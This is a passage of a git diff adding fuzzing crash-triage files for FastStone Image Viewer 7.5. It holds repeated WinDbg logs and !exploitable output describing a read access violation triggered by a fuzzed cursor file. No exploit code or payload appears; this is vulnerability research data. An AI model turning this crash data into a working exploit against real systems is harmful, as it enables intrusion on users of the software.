+STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..80d1455 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..5a12285 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1EF8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1EF8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1ef8.168c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07e07b10 edx=00003879 esi=12738f10 edi=07c30fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.704455304791082080000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.1788e+010 1.07011e+007 1.4906e-034 -6.2574e+019 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ee8130 07e65930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00334000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00334000 accd2238 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00334000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..5a12285 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1EF8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1EF8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1ef8.168c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07e07b10 edx=00003879 esi=12738f10 edi=07c30fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.704455304791082080000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.1788e+010 1.07011e+007 1.4906e-034 -6.2574e+019 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ee8130 07e65930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00334000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00334000 accd2238 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00334000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 